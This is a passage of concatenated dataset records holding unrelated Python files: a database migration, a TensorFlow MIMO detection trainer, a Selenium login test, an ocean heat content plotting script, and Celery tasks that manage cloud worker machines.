self.vlevel, self.name, self.xp, self.rank, self.tnl)","sub_path":"skill.py","file_name":"skill.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"541518168","text":"\"\"\"Add reviewer role\n\nRevision ID: 90f1af83d9b6\nRevises: 5d619660cfa7\nCreate Date: 2016-05-17 02:16:30.097950\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '90f1af83d9b6'\ndown_revision = '5d619660cfa7'\n\nfrom alembic import op\n\n\ndef upgrade():\n \"\"\"Add reviewer role.\"\"\"\n op.execute(\"INSERT INTO roles (name) VALUES ('reviewer');\")\n\n\ndef downgrade():\n \"\"\"Remove reviewer role and dependencies.\"\"\"\n op.execute(\n \"DELETE FROM roles_users WHERE role_id in (\"\n \"SELECT id FROM roles WHERE name='reviewer');\"\n )\n op.execute(\"DELETE FROM roles WHERE name='reviewer';\")\n","sub_path":"migrations/versions/90f1af83d9b6_add_reviewer_role.py","file_name":"90f1af83d9b6_add_reviewer_role.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"217577695","text":"import tensorflow as tf\nimport numpy as np\nimport scipy.io\nK=4 #Number of users\nN=8 #Number of receiving antenna\nbatch_size=5000 #Define the batch size \nSTEPS=100000 #Number of iteration\nHdata=scipy.io.loadmat('H_8*4')\nH=Hdata['H']\nH=H.astype('float32')\n\n#Define the model of the system\nx=tf.placeholder(tf.float32,shape=(None,K),name=\"transmit\")\ny=tf.placeholder(tf.float32,shape=(None,N),name=\"receiver\")\n\n#Define the parameters of the network\n#layer1\nw10=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb10=tf.Variable(tf.zeros([5*K,1]))\nw20=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb20=tf.Variable(tf.zeros([K,1]))\nw30=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb30=tf.Variable(tf.zeros([2*K,1]))\n\n#layer2\nw11=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb11=tf.Variable(tf.zeros([5*K,1]))\nw21=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb21=tf.Variable(tf.zeros([K,1]))\nw31=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb31=tf.Variable(tf.zeros([2*K,1]))\n\n#layer3\nw12=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb12=tf.Variable(tf.zeros([5*K,1]))\nw22=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb22=tf.Variable(tf.zeros([K,1]))\nw32=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb32=tf.Variable(tf.zeros([2*K,1]))\n\n#layer4\nw13=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb13=tf.Variable(tf.zeros([5*K,1]))\nw23=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb23=tf.Variable(tf.zeros([K,1]))\nw33=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb33=tf.Variable(tf.zeros([2*K,1]))\n\n#layer5\nw14=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb14=tf.Variable(tf.zeros([5*K,1]))\nw24=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb24=tf.Variable(tf.zeros([K,1]))\nw34=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb34=tf.Variable(tf.zeros([2*K,1]))\n\n#layer6\nw15=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb15=tf.Variable(tf.zeros([5*K,1]))\nw25=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb25=tf.Variable(tf.zeros([K,1]))\nw35=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb35=tf.Variable(tf.zeros([2*K,1]))\n\n#layer7\nw16=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb16=tf.Variable(tf.zeros([5*K,1]))\nw26=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb26=tf.Variable(tf.zeros([K,1]))\nw36=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb36=tf.Variable(tf.zeros([2*K,1]))\n\n#layer8\nw17=tf.Variable(tf.random_normal([5*K,5*K],stddev=1,seed=1))\nb17=tf.Variable(tf.zeros([5*K,1]))\nw27=tf.Variable(tf.random_normal([K,5*K],stddev=1,seed=1))\nb27=tf.Variable(tf.zeros([K,1]))\nw37=tf.Variable(tf.random_normal([2*K,5*K],stddev=1,seed=1))\nb37=tf.Variable(tf.zeros([2*K,1]))\n\n\n\n\n\n#Define the process of the forward propagation \n#layer1\ncombination1=tf.matmul(tf.transpose(H),tf.transpose(y))\ns=tf.shape(combination1)\nv0=tf.zeros([2*K,s[1]])\nx0=tf.zeros([K,s[1]])\nHtrH=tf.matmul(tf.transpose(H),H)\ncombination2=tf.matmul(HtrH,x0)\nconcatenation=tf.concat([combination1,x0,combination2,v0],0,name=\"Concatenate\")\ncal1=tf.matmul(w10,concatenation)+b10\nz0=tf.nn.relu(cal1,name=\"Z0\")\ncal2=tf.matmul(w20,z0)+b20\nt0=0.5\nx1=-1+tf.nn.relu(cal2+t0)/abs(t0)-tf.nn.relu(cal2-t0)/abs(t0)\nv1=tf.matmul(w30,z0)+b30\n\n#layer2\ncombination2_1=tf.matmul(HtrH,x1)\nconcatenation_1=tf.concat([combination1,x1,combination2_1,v1],0,name=\"Concatenate1\")\ncal1_1=tf.matmul(w11,concatenation_1)+b11\nz1=tf.nn.relu(cal1_1,name=\"Z1\")\ncal2_1=tf.matmul(w21,z1)+b21+x1\nt1=0.5\nx2=-1+tf.nn.relu(cal2_1+t1)/abs(t1)-tf.nn.relu(cal2_1-t1)/abs(t1)\nv2=tf.matmul(w31,z1)+b31\n\n#layer3\ncombination2_2=tf.matmul(HtrH,x2)\nconcatenation_2=tf.concat([combination1,x2,combination2_2,v2],0,name=\"Concatenate2\")\ncal1_2=tf.matmul(w12,concatenation_2)+b12\nz2=tf.nn.relu(cal1_2,name=\"Z2\")\ncal2_2=tf.matmul(w22,z2)+b22+x2\nt2=0.5\nx3=-1+tf.nn.relu(cal2_2+t2)/abs(t2)-tf.nn.relu(cal2_2-t2)/abs(t2)\nv3=tf.matmul(w32,z2)+b32\n\n#layer4\ncombination2_3=tf.matmul(HtrH,x3)\nconcatenation_3=tf.concat([combination1,x3,combination2_3,v3],0,name=\"Concatenate3\")\ncal1_3=tf.matmul(w13,concatenation_3)+b13\nz3=tf.nn.relu(cal1_3,name=\"Z3\")\ncal2_3=tf.matmul(w23,z3)+b23+x3\nt3=0.5\nx4=-1+tf.nn.relu(cal2_3+t3)/abs(t3)-tf.nn.relu(cal2_3-t3)/abs(t3)\nv4=tf.matmul(w33,z3)+b33\n\n#layer5\ncombination2_4=tf.matmul(HtrH,x4)\nconcatenation_4=tf.concat([combination1,x4,combination2_4,v4],0,name=\"Concatenate4\")\ncal1_4=tf.matmul(w14,concatenation_4)+b14\nz4=tf.nn.relu(cal1_4,name=\"Z4\")\ncal2_4=tf.matmul(w24,z4)+b24+x4\nt4=0.5\nx5=-1+tf.nn.relu(cal2_4+t4)/abs(t4)-tf.nn.relu(cal2_4-t4)/abs(t4)\nv5=tf.matmul(w34,z4)+b34\n\n#layer6\ncombination2_5=tf.matmul(HtrH,x5)\nconcatenation_5=tf.concat([combination1,x5,combination2_5,v5],0,name=\"Concatenate5\")\ncal1_5=tf.matmul(w15,concatenation_5)+b15\nz5=tf.nn.relu(cal1_5,name=\"Z5\")\ncal2_5=tf.matmul(w25,z5)+b25+x5\nt5=0.5\nx6=-1+tf.nn.relu(cal2_5+t5)/abs(t5)-tf.nn.relu(cal2_5-t5)/abs(t5)\nv6=tf.matmul(w35,z5)+b35\n\n#layer7\ncombination2_6=tf.matmul(HtrH,x6)\nconcatenation_6=tf.concat([combination1,x6,combination2_6,v6],0,name=\"Concatenate6\")\ncal1_6=tf.matmul(w16,concatenation_6)+b16\nz6=tf.nn.relu(cal1_6,name=\"Z6\")\ncal2_6=tf.matmul(w26,z6)+b26+x6\nt6=0.5\nx7=-1+tf.nn.relu(cal2_6+t6)/abs(t6)-tf.nn.relu(cal2_6-t6)/abs(t6)\nv7=tf.matmul(w36,z6)+b36\n\n#layer8\ncombination2_7=tf.matmul(HtrH,x7)\nconcatenation_7=tf.concat([combination1,x7,combination2_7,v7],0,name=\"Concatenate7\")\ncal1_7=tf.matmul(w17,concatenation_7)+b17\nz7=tf.nn.relu(cal1_7,name=\"Z7\")\ncal2_7=tf.matmul(w27,z7)+b27+x7\nt7=0.5\nx8=-1+tf.nn.relu(cal2_7+t7)/abs(t7)-tf.nn.relu(cal2_7-t7)/abs(t7)\nv8=tf.matmul(w37,z7)+b37\n\n\n\n\n\n#Define loss function and backpropagation algorithm\nxwave_part1=tf.matrix_inverse(tf.matmul(tf.transpose(H),H))\nxwave_part2=tf.matmul(xwave_part1,tf.transpose(H))\nxwave=tf.matmul(xwave_part2,tf.transpose(y))\n\nlossfunction=tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x1))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n\t\t\t +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x2))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x3))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x4))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x5))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n\t\t\t +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x6))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x7))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\\\n +tf.log(tf.reduce_sum(tf.squared_difference(tf.transpose(x),x8))/tf.reduce_sum(tf.squared_difference(tf.transpose(x),xwave)))\ntrain_step=tf.train.AdamOptimizer(0.001).minimize(lossfunction)\n\n\n\n\n# define function to generate data\ndef generate_data(batchsize,K,N,H):\n\tsource = np.random.randint(0, 2, (batchsize * K, 1)) # generate 0,1 bits\n\tx_ = -2.0 * source + 1.0 # BPSK modulation\n\tx_ = np.reshape(x_, (batchsize, K))\n\tw = np.zeros((N, batchsize)) # Noise Vector with independent,zero mean Gaussian variables of variance 1\n\tfor j in range(batchsize):\n\t\tSNR = np.random.uniform(8, 13, 1) ##8dB-13dB uniform distribution\n\t\tsigma = np.sqrt(1 / (10 ** (SNR / 10)))\n\t\twpart = sigma * np.random.randn(N)\n\t\tw[:, j] = wpart\n\tx_ = x_.astype('float32')\n\ty_ = np.dot(H, np.transpose(x_)) + w\n\ty_ = np.transpose(y_)\n\treturn source, x_, y_\n\ndef generate_testdata(symbolnum,K,N,H,SNR):\n\tsource = np.random.randint(0, 2, (symbolnum * K, 1)) # generate 0,1 bits\n\tx_ = -2.0 * source + 1.0 # BPSK modulation\n\tx_ = np.reshape(x_, (symbolnum, K))\n\tw = np.zeros((N, symbolnum)) # Noise Vector with independent,zero mean Gaussian variables of variance 1\n\tsigma = np.sqrt(1 / (10 ** (SNR / 10)))\n\tfor j in range(symbolnum):\n\t\twpart = sigma * np.random.randn(N)\n\t\tw[:, j] = wpart\n\tx_ = x_.astype('float32')\n\ty_ = np.dot(H, np.transpose(x_)) + w\n\ty_ = np.transpose(y_)\n\treturn source, x_, y_\n\n\n\n#Create a session to run Tensorflow\nsess=tf.Session()\ninit_op=tf.global_variables_initializer()\nsess.run(init_op)\nfor i in range(STEPS):\n\tsource, x_, y_ = generate_data(batch_size,K,N,H)\n\tsess.run(train_step,\n\t\t\tfeed_dict={x:x_,y:y_}) #train wk bk\n\n\tif i%5000==0:\n\t\ttotal_lossfunction=sess.run(lossfunction,feed_dict={x:x_,y:y_})\n\t\tprint(\"After %d training steps,cross entropy on all data is %g\"%(i,total_lossfunction))\n\t\tprint(\"x3:\",sess.run(x3,feed_dict={y:y_}))\n\t\tprint(\"v3:\",sess.run(v3,feed_dict={y:y_}))\n\t\tprint(\"z3:\",sess.run(z3,feed_dict={y:y_}))\n\n\n\nprint(\"w11:\",sess.run(w11))\nprint(\"w21:\",sess.run(w21))\nprint(\"w31:\",sess.run(w31))\nprint(\"b11:\",sess.run(b11))\nprint(\"b21:\",sess.run(b21))\nprint(\"b31:\",sess.run(b31))\n\n\n\ntestsymbolnum=100000\nxkout=np.zeros((K,testsymbolnum))\nxkout2=np.zeros((K,testsymbolnum))\nxkout3=np.zeros((K,testsymbolnum))\nxkout4=np.zeros((K,testsymbolnum))\nxkout5=np.zeros((K,testsymbolnum))\nxkout6=np.zeros((K,testsymbolnum))\nxkout7=np.zeros((K,testsymbolnum))\nxkout8=np.zeros((K,testsymbolnum))\nfor i1 in range (8,14):\n\tsource_test,x_test,y_test=generate_testdata(testsymbolnum, K, N, H, i1)\n\txkout1 = sess.run(x1, feed_dict={y: y_test})\n\txkout2 = sess.run(x2, feed_dict={y: y_test})\n\txkout3 = sess.run(x3, feed_dict={y: y_test})\n\txkout4 = sess.run(x4, feed_dict={y: y_test})\n\txkout5 = sess.run(x5, feed_dict={y: y_test})\n\txkout6 = sess.run(x6, feed_dict={y: y_test})\n\txkout7 = sess.run(x7, feed_dict={y: y_test})\n\txkout8 = sess.run(x8, feed_dict={y: y_test})\n\tsourcetest_mat = np.reshape(source_test, (testsymbolnum, K))\n\tscipy.io.savemat('data/layernum8/SNR%d/source.mat'%i1, {'source': sourcetest_mat})\n\tscipy.io.savemat('data/layernum8/SNR%d/x1.mat'%i1, {'x1': xkout1})\n\tscipy.io.savemat('data/layernum8/SNR%d/x2.mat'%i1, {'x2': xkout2})\n\tscipy.io.savemat('data/layernum8/SNR%d/x3.mat'%i1, {'x3': xkout3})\n\tscipy.io.savemat('data/layernum8/SNR%d/x4.mat'%i1, {'x4': xkout4})\n\tscipy.io.savemat('data/layernum8/SNR%d/x5.mat'%i1, {'x5': xkout5})\n\tscipy.io.savemat('data/layernum8/SNR%d/x6.mat'%i1, {'x6': xkout6})\n\tscipy.io.savemat('data/layernum8/SNR%d/x7.mat'%i1, {'x7': xkout7})\n\tscipy.io.savemat('data/layernum8/SNR%d/x8.mat'%i1, {'x8': xkout8})\n\tscipy.io.savemat('data/layernum8/SNR%d/y.mat'%i1, {'y': y_test})\n\n\n\n\n#test the model one batch\n# xkout=np.zeros((K,batch_size))\n# xkout=sess.run(x1,feed_dict={y:y_})\n# xkout2=np.zeros((K,batch_size))\n# xkout2=sess.run(x2,feed_dict={y:y_})\n# xkout3=np.zeros((K,batch_size))\n# xkout3=sess.run(x3,feed_dict={y:y_})\n# xkout4=np.zeros((K,batch_size))\n# xkout4=sess.run(x4,feed_dict={y:y_})\n# source_mat= np.reshape(source, (batch_size, K))\n# scipy.io.savemat('source.mat',{'source':source_mat})\n# scipy.io.savemat('x1.mat',{'x1':xkout})\n# scipy.io.savemat('x2.mat',{'x2':xkout2})\n# scipy.io.savemat('x3.mat',{'x3':xkout3})\n# scipy.io.savemat('x4.mat',{'x4':xkout4})\n# scipy.io.savemat('y.mat',{'y':y_})\n\n# #test the model\n# testsymbolnum=1000000\n# source_test, x_test, y_test = generate_data(testsymbolnum,K,N,H)\n# xkout=np.zeros((K,testsymbolnum))\n# xkout=sess.run(x1,feed_dict={y:y_test})\n# xkout2=np.zeros((K,testsymbolnum))\n# xkout2=sess.run(x2,feed_dict={y:y_test})\n# xkout3=np.zeros((K,testsymbolnum))\n# xkout3=sess.run(x3,feed_dict={y:y_test})\n# xkout4=np.zeros((K,testsymbolnum))\n# xkout4=sess.run(x4,feed_dict={y:y_test})\n# xkout5=np.zeros((K,testsymbolnum))\n# xkout5=sess.run(x5,feed_dict={y:y_test})\n# xkout6=np.zeros((K,testsymbolnum))\n# xkout6=sess.run(x6,feed_dict={y:y_test})\n# sourcetest_mat= np.reshape(source_test, (testsymbolnum, K))\n# scipy.io.savemat('source.mat',{'source':sourcetest_mat})\n# scipy.io.savemat('x1.mat',{'x1':xkout})\n# scipy.io.savemat('x2.mat',{'x2':xkout2})\n# scipy.io.savemat('x3.mat',{'x3':xkout3})\n# scipy.io.savemat('x4.mat',{'x4':xkout4})\n# scipy.io.savemat('x5.mat',{'x5':xkout5})\n# scipy.io.savemat('x6.mat',{'x6':xkout6})\n# scipy.io.savemat('y.mat',{'y':y_test})\n\n\n\n\nsess.close()\nprint(\"end\")","sub_path":"Deep MIMO Detection Code/resnet/mimo_detection_batchtraining.py","file_name":"mimo_detection_batchtraining.py","file_ext":"py","file_size_in_byte":12134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"598041445","text":"'''\n@author:lvming\n@time:2021/6/25\n'''\nfrom web01.selenium11 import DriverKey\n\n'''\n 基于关键字驱动类实现的测试用例\n'''\n# 测试用例1：实现电商的登录\nwk = DriverKey('Chrome')\nwk.visit('http://39.98.138.157/shopxo/index.php')\nwk.click('link text','登录')\nwk.input('name','accounts','xuzhu666')\nwk.input('name','pwd','123456')\nwk.click('xpath','//button[text()=\"登录\"]')\nwk.sleep(3)\nwk.quit()\n\n# 测试用例2：百度搜索\ndk = DriverKey('Chrome')\ndk.visit('http://www.jd.com')\ndk.input('id','key','笔记本')\ndk.click('xpath','//button[@aria-label=\"搜索\"]')\ndk.sleep(3)\ndk.quit()\n","sub_path":"web01/test_key.py","file_name":"test_key.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"252801899","text":"\"\"\"\nFilename: plot_ohc_metric_timeseries.py\nAuthor: Damien Irving, irving.damien@gmail.com\nDescription: Plot timeseries of various ocean temperature metrics\n for a single model/experiment/run\n\n\"\"\"\n\n# Import general Python modules\n\nimport sys, os, pdb\nimport argparse\n\nimport matplotlib.pyplot as plt\nimport seaborn\nimport numpy\n\nimport iris\nimport iris.quickplot as qplt\nfrom iris.util import rolling_window\n\n\n# Import my modules\n\ncwd = os.getcwd()\nrepo_dir = '/'\nfor directory in cwd.split('/')[1:]:\n repo_dir = os.path.join(repo_dir, directory)\n if directory == 'ocean-analysis':\n break\n\nmodules_dir = os.path.join(repo_dir, 'modules')\nsys.path.append(modules_dir)\n\ntry:\n import general_io as gio\n import convenient_universal as uconv\nexcept ImportError:\n raise ImportError('Must run this script from anywhere within the ocean-analysis git repo')\n\n\n# Define functions\n\ndef plot_timeseries(cube_dict, user_regions, title, tex_units, ref_region=None):\n \"\"\"Create the timeseries plot.\"\"\"\n\n region_dict = {'globe': ('globe', 'black', '--'),\n 'globe60': ('globe (60S - 60N)', 'black', '-'),\n 'tropics': ('tropics (20S to 20N)', 'purple', '-'),\n 'ne': ('northern extratropics (north of 20N)', 'red', '--'),\n 'ne60': ('northern extratropics (20N - 60N)', 'red', '-'),\n 'nh60': ('northern hemisphere (to 60N)', 'red', '-.'),\n 'se': ('southern extratropics (south of 20S)', 'blue', '--'),\n 'se60': ('southern extratropics (60S - 20S)', 'blue', '-'),\n 'sh60': ('southern hemisphere (to 60S)', 'blue', '-.'),\n 'ose': ('outside southern extratropics (north of 20S)', '#cc0066', '-.'),\n 'ose60': ('outside southern extratropics (20S - 60N)', '#cc0066', '--')}\n\n for region in user_regions:\n name, color, style = region_dict[region]\n cube = cube_dict[name]\n qplt.plot(cube.coord('time'), cube, label=name, color=color, linestyle=style)\n\n plt.legend(loc='best')\n plt.title(title)\n if ref_region:\n ylabel = '%s equivalent ocean heat content (%s)' %(region_dict[ref_region][0], tex_units)\n else:\n ylabel = 'ocean heat content (%s)' %(tex_units)\n plt.ylabel(ylabel)\n plt.xlabel('year')\n\n\ndef set_title(data_dict, inargs, plotnum):\n \"\"\"Set the title for the plot\"\"\"\n\n if inargs.argo:\n title = 'Argo'\n else:\n model, experiment, run = gio.get_cmip5_file_details(data_dict['globe'])\n if inargs.experiment:\n experiment = inargs.experiment[plotnum].replace('_',' ')\n if inargs.run:\n run = inargs.run[plotnum]\n \n title = '%s, %s, %s' %(model, experiment, run)\n\n return title\n\n\ndef check_inputs(inargs):\n \"\"\"Check the validity of the input arguments.\"\"\"\n\n assert len(inargs.infiles) <= inargs.nrows * inargs.ncols\n if inargs.experiment:\n assert len(inargs.infiles) == len(inargs.experiment)\n if inargs.run:\n assert len(inargs.infiles) == len(inargs.run)\n\n\ndef main(inargs):\n \"\"\"Run the program.\"\"\"\n\n check_inputs(inargs)\n\n # Read data\n try:\n time_constraint = gio.get_time_constraint(inargs.time)\n except AttributeError:\n time_constraint = iris.Constraint()\n\n metadata_dict = {}\n fig = plt.figure(figsize=inargs.figsize)\n if not inargs.figsize:\n print('figure width: %s' %(str(fig.get_figwidth())))\n print('figure height: %s' %(str(fig.get_figheight())))\n\n for plotnum, infile in enumerate(inargs.infiles):\n\n if not os.path.isfile(infile):\n continue\n\n data_dict = {}\n with iris.FUTURE.context(cell_datetime_objects=True):\n data_dict['globe'] = iris.load_cube(infile, 'ocean heat content globe' & time_constraint)\n data_dict['globe (60S - 60N)'] = iris.load_cube(infile, 'ocean heat content globe60' & time_constraint)\n data_dict['southern extratropics (south of 20S)'] = iris.load_cube(infile, 'ocean heat content southern extratropics' & time_constraint)\n data_dict['northern extratropics (north of 20N)'] = iris.load_cube(infile, 'ocean heat content northern extratropics' & time_constraint)\n data_dict['southern extratropics (60S - 20S)'] = iris.load_cube(infile, 'ocean heat content southern extratropics60' & time_constraint)\n data_dict['northern extratropics (20N - 60N)'] = iris.load_cube(infile, 'ocean heat content northern extratropics60' & time_constraint)\n data_dict['outside southern extratropics (north of 20S)'] = iris.load_cube(infile, 'ocean heat content outside southern extratropics' & time_constraint)\n data_dict['outside southern extratropics (20S - 60N)'] = iris.load_cube(infile, 'ocean heat content outside southern extratropics60' & time_constraint)\n data_dict['southern hemisphere (to 60S)'] = iris.load_cube(infile, 'ocean heat content sh60' & time_constraint)\n data_dict['northern hemisphere (to 60N)'] = iris.load_cube(infile, 'ocean heat content nh60' & time_constraint)\n data_dict['tropics (20S to 20N)'] = iris.load_cube(infile, 'ocean heat content tropics' & time_constraint)\n metadata_dict[infile] = data_dict['globe'].attributes['history']\n\n # Calculate the annual mean timeseries\n for key, value in data_dict.items():\n data_dict[key] = value.rolling_window('time', iris.analysis.MEAN, 12)\n tex_units, exponent = uconv.units_info(str(value.units))\n\n # Generate plot\n title = set_title(data_dict, inargs, plotnum)\n ax = plt.subplot(inargs.nrows, inargs.ncols, plotnum + 1)\n plt.sca(ax)\n plot_timeseries(data_dict, inargs.regions, title, tex_units, ref_region=inargs.ref_region)\n \n # Write output\n plt.tight_layout(pad=0.4, w_pad=2.0, h_pad=2.0)\n plt.savefig(inargs.outfile, bbox_inches='tight')\n gio.write_metadata(inargs.outfile, file_info=metadata_dict)\n\n\nif __name__ == '__main__':\n\n extra_info =\"\"\" \nauthor:\n Damien Irving, irving.damien@gmail.com\n \n\"\"\"\n\n description='Plot timeseries of various ocean temperature metrics'\n parser = argparse.ArgumentParser(description=description,\n epilog=extra_info, \n argument_default=argparse.SUPPRESS,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n parser.add_argument(\"infiles\", type=str, nargs='*', help=\"Input temperature metric files (write blank for empty plots on grid)\")\n parser.add_argument(\"outfile\", type=str, help=\"Output file name\")\n \n parser.add_argument(\"--ref_region\", type=str, default=None, \n help=\"Metrics are scaled to the volume of this region\")\n\n parser.add_argument(\"--time\", type=str, nargs=2, metavar=('START_DATE', 'END_DATE'),\n help=\"Time period [default = entire]\")\n\n parser.add_argument(\"--regions\", type=str, nargs='*', default=('globe60', 'ne60', 'tropics', 'se60', 'ose60'), \n help=\"regions to plot\")\n\n parser.add_argument(\"--nrows\", type=int, default=1, \n help=\"number of rows in the entire grid of plots\")\n parser.add_argument(\"--ncols\", type=int, default=1,\n help=\"number of columns in the entire grid of plots\")\n parser.add_argument(\"--figsize\", type=float, default=None, nargs=2, metavar=('WIDTH', 'HEIGHT'),\n help=\"size of the figure (in inches)\")\n parser.add_argument(\"--experiment\", type=str, nargs='*', default=None,\n help=\"overwrite the default experiment in the plot header (write blank for empty plots on grid)\")\n parser.add_argument(\"--run\", type=str, nargs='*', default=None,\n help=\"overwrite the default run in the plot header (write blank for empty plots on grid)\")\n\n\n parser.add_argument(\"--argo\", action=\"store_true\", default=False,\n help=\"switch for indicated an Argo rather than CMIP5 input file [default: False]\")\n\n\n args = parser.parse_args() \n main(args)\n","sub_path":"visualisation/plot_ohc_metric_timeseries.py","file_name":"plot_ohc_metric_timeseries.py","file_ext":"py","file_size_in_byte":8253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"568506587","text":"def find_page_number(pages):\n wrong_pages = []\n last_page = 0\n\n for page_num in pages:\n if page_num == last_page+1:\n last_page+=1\n else:\n wrong_pages.append(page_num)\n return wrong_pages\nprint (find_page_number([4,1,2,3,4,26,5,6]))","sub_path":"pythonCodeWars/disorganisePageList.py","file_name":"disorganisePageList.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"642022807","text":"# -*- coding: utf-8 -*-\n\nfrom dp_tornado.engine.controller import Controller as dpController\n\n\nclass HideController(dpController):\n def post(self, room_no=None):\n if not self.get_argument('uniqid') or not room_no:\n return\n\n session = self.model.bjs.admin.user.session.authorized(self)\n output = self.model.bjs.admin.live.controller_hide(self, session, room_no)\n\n self.finish(output)","sub_path":"controller/admin/vod/hide.py","file_name":"hide.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"618298028","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/workers/tasks.py\n# Compiled at: 2019-05-07 08:43:55\n# Size of source mod 2**32: 5053 bytes\nfrom __future__ import absolute_import, unicode_literals\nfrom django.conf import settings\nfrom celery import Celery\napp = Celery('mendelmd')\napp.config_from_object('django.conf:settings')\napp.autodiscover_tasks(lambda : settings.INSTALLED_APPS)\nfrom tasks.models import Task\nfrom workers.models import Worker\nfrom django.db.models import Q\nfrom subprocess import run, check_output\nfrom helpers.scw_wrapper import SCW\nfrom helpers.aws_wrapper import AWS\nfrom settings.models import Provider\n\n@app.task(queue='master')\ndef check_queue():\n print('Check Queue')\n max_workers = 50\n tasks = Task.objects.filter(status='scheduled')\n workers = Worker.objects.filter(~Q(status='terminated'))\n n_tasks = len(tasks)\n n_workers = len(workers)\n print(n_tasks, n_workers)\n if n_tasks > n_workers:\n if n_workers < max_workers:\n n_workers_to_launch = min(n_tasks, max_workers - n_workers)\n print('Launch Workers', n_workers_to_launch)\n for i in range(0, n_workers_to_launch):\n launch_worker.delay()\n\n if n_tasks < n_workers:\n print('Terminate Workers')\n terminate_workers()\n\n\n@app.task(queue='master')\ndef launch_worker():\n worker = Worker()\n worker.name = 'New Worker'\n worker.status = 'new'\n worker.save()\n if settings.DEFAULT_PROVIDER == 'AWS':\n provider = Provider.objects.filter(name='AWS')[0]\n print(provider, provider.config)\n worker_result = AWS().launch(provider.config)\n worker.provider = 'AWS'\n worker.type = provider.config['instance_type']\n else:\n worker_result = SCW().launch(provider.config)\n worker.provider = 'SCW'\n worker.type = ''\n worker.ip = worker_result['ip']\n worker.worker_id = worker_result['id']\n worker.save()\n install_worker.delay(worker.id)\n\n\n@app.task(queue='master')\ndef launch_workers(n_workers, type):\n workers = []\n for i in range(0, int(n_workers)):\n worker = Worker()\n worker.name = 'New Worker'\n worker.type = type\n worker.status = 'new'\n worker.save()\n workers.append(worker)\n\n for i, worker in enumerate(workers):\n print('Launch ', i)\n worker_result = SCW().launch(type)\n worker.ip = worker_result['ip']\n worker.worker_id = worker_result['id']\n worker.save()\n install_worker.delay(worker.id)\n\n\n@app.task(queue='master')\ndef terminate_workers():\n idle_workers = Worker.objects.filter(status='idle')\n for worker in idle_workers:\n print('Terminate Worker')\n AWS().terminate(worker.worker_id)\n print('Terminate Worker', worker.id)\n worker.status = 'terminated'\n worker.save()\n\n\n@app.task(queue='master')\ndef terminate_worker(worker_id):\n worker = Worker.objects.get(id=worker_id)\n print('Terminate Worker', worker.id)\n AWS().terminate(worker.worker_id)\n worker.status = 'terminated'\n worker.save()\n\n\n@app.task(queue='master')\ndef install_worker(worker_id):\n worker = Worker.objects.get(id=worker_id)\n print('Install Worker', worker.id)\n if settings.DEFAULT_PROVIDER == 'AWS':\n AWS().install(worker.ip)\n\n\n@app.task(queue='master')\ndef update_worker(worker_id):\n worker = Worker.objects.get(id=worker_id)\n print('Update Worker', worker.id)\n if settings.DEFAULT_PROVIDER == 'AWS':\n AWS().update(worker.ip)\n\n\n@app.task(queue='master')\ndef check_workers():\n workers = Worker.objects.all()\n for worker in workers:\n ip = worker.ip\n command = 'top -bcn1 -w512 | head -n 10'\n command = 'ssh -o StrictHostKeyChecking=no -o 